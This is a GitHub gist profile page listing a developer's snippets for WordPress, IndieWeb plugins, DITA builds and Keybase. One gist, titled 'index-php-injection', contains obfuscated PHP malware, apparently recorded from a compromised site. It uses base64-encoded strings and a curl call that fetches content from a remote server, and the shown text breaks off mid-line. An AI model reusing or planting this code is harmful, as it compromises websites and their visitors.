Skip to content

Instantly share code, notes, and snippets.


Xavier Roy xavierroy

View GitHub Profile
xavierroy / tagmoji-taxonomy.php
Created Aug 2, 2019
tagmojis as a WP taxonomy
View tagmoji-taxonomy.php
/* add tagmoji as a taxonomy */
if ( ! function_exists( 'tagmoji' ) ) {
// Register Custom Taxonomy
function tagmoji() {
$labels = array(
'name' => _x( 'Tagmoji', 'Taxonomy General Name', 'text_domain' ),
'singular_name' => _x( 'Tagmoji', 'Taxonomy Singular Name', 'text_domain' ),
'menu_name' => __( 'Tagmoji', 'text_domain' ),
View error log
18-Jun-2019 11:14:19 UTC] Micropub Input: {"type":["h-entry"],"properties":{"content":["test post"],"location":["geo:12.96877,80.24398;u=192"],"mp-slug":["test"]}}
[18-Jun-2019 11:14:19 UTC] PHP Notice: Undefined variable: return in /home/xavroy1/ on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /home/xavroy1/ on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: require_once(/home/xavroy1/ failed to open stream: No such file or directory in /home/xavroy1/ on line 103
[18-Jun-2019 11:14:19 UTC] PHP Fatal error: require_once(): Failed opening required '/home/xavroy1
xavierroy / kind-listen.php
Last active Jul 31, 2018
This adds triple tags for audio posts. The file is indieweb-post-kinds/views/kind-listen.php. For this to work, you should have some tags available in the Tags section for your Post Kind metadata.
View kind-listen.php
Listen Template
$mf2_post = new MF2_Post( get_the_ID() );
$cite = $mf2_post->fetch();
if ( ! $cite ) {
xavierroy / gist:b5a2077bcdcfe395a6dc4d7449247e5b
Last active Jul 17, 2018
Fix for deprecated function in Search Everything plugin
View gist:b5a2077bcdcfe395a6dc4d7449247e5b
This is a replacement for the deprecated create_function() in search-everything.php of the Search Everything plugin.
//$search_terms = array_filter(array_map( create_function( '$a', 'return trim($a, "\\"\'\\n\\r ");' ), $matches[0] ));
$search_terms = array_filter(array_map( function($a) { return trim($a, "\\'\'\\n\\r ");}, $matches[0] ));
View index-php-injection
$id6fe1d0be634 = "/index/?2601510941471";
$z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode('cg=='));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode('ZG9tYWlu')]){$je617ef6974fa=base64_decode('aHR0cDovLw==').$v9b207167e538[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode('cnNydg==')]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_
View staticmap.txt|geodesic:true|<list of locations
xavierroy / shortcutkey.js
Created Feb 28, 2017
Script to attach a keypress to a javascript code
View shortcutkey.js
if(e.charCode == 63) // 63 is for the ? key
// add js code here

Keybase proof

I hereby claim:

  • I am xavierroy on github.
  • I am xavierroy ( on keybase.
  • I have a public key whose fingerprint is D3BC 7F88 0F3E 8E74 5A06 50A7 7C86 E57A 9A7B 97C6

To claim this, I am signing this object:

View integrate.bat
@echo off
REM Created by Xavier Roy
REM This batch file runs the integrator script to add the new plugin(s) so that DITA can recognise them.
ant -f integrator.xml strict -verbose -l integrator.log
ECHO "NOTE: Plugins Integrated."
xavierroy / build_template.xml
Created Oct 10, 2014
Template to create a build template
View build_template.xml
<?xml version="1.0" encoding="UTF-8"?>
Change '<>' and 'custpdf' to suit your needs.
DITA uses the Java packaging naming structure that is domain related. (See and
Remember to use the same name for the transtype value specified in plugin.xml
<project name="" default="dita2custpdf"> <!--Modify -->
You can’t perform that action at this time.